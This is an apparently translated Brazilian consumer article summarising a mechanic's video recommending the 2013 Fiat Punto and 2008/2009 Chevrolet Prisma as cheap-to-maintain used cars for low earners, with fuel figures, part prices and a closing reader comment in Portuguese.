Fiat Punto 2013
The first car recommended for those earning up to R$ 2,500 per month was the Fiat Punto, standing out as a viable option for those looking for cost-effectiveness.
The vehicle has a modern look and superior finish but with simple and inexpensive mechanics. “Not everyone knows, but it uses the same engine as the Uno and the Palio,” he explained.
The clear advantage is: the driver has a more beautiful and comfortable car, but with maintenance costs equivalent to popular models.
The Fiat Punto stands out for its ability to achieve 9.5 km per liter in the city and up to 13 km on the highway.
Maintenance Cost Details
Direct examples of the cost of parts and services for the Punto were provided. A shock absorber costs R$ 890. Meanwhile, a water pump costs R$ 120.
A recurring problem in the models is the electrical system. “You might have electrical issues; now and then, a bulb might burn out,” he reported.
The 2013 Fiat Punto is still an interesting option for those looking for a hatchback with good cost-effectiveness in the used car market. It is possible to find well-maintained units for sale online, with prices typically ranging from R$ 33,000 to R$ 37,000, depending on the car’s overall condition, mileage, and location of the listing.
Prisma 2008/2009
Another car mentioned in the video was the Chevrolet Prisma. Fernandes classified the model as extremely cheap to maintain. “It’s even cheaper to maintain than many motorcycles out there,” he stated.
He also shared a fun fact: both the Prisma and the Celta, according to him, were the fastest 1.0 models at the time they were launched.
Regarding fuel consumption, André indicated that the model achieves about 10.5 km per liter in the city and up to 14 km on the highway.
In terms of flaws, he pointed out the transmission as the biggest problem with the Prisma. “The gears are a bit tricky to engage,” he remarked. Still, he reiterated the low maintenance costs. “Shock absorber for R$ 400. Water pump for R$ 110,” he listed.
It is still possible to find 2009 Chevrolet Prisma units in good condition at an affordable price. In listings available online, the model is usually offered at prices ranging from R$ 22,000 to R$ 25,000, depending on the vehicle’s condition and the region.

Para quem ganha 2500 bru-to um Palio ou Siena entre 2001 e 2004. Um carro de 2013 é “pesado” para aquisição.
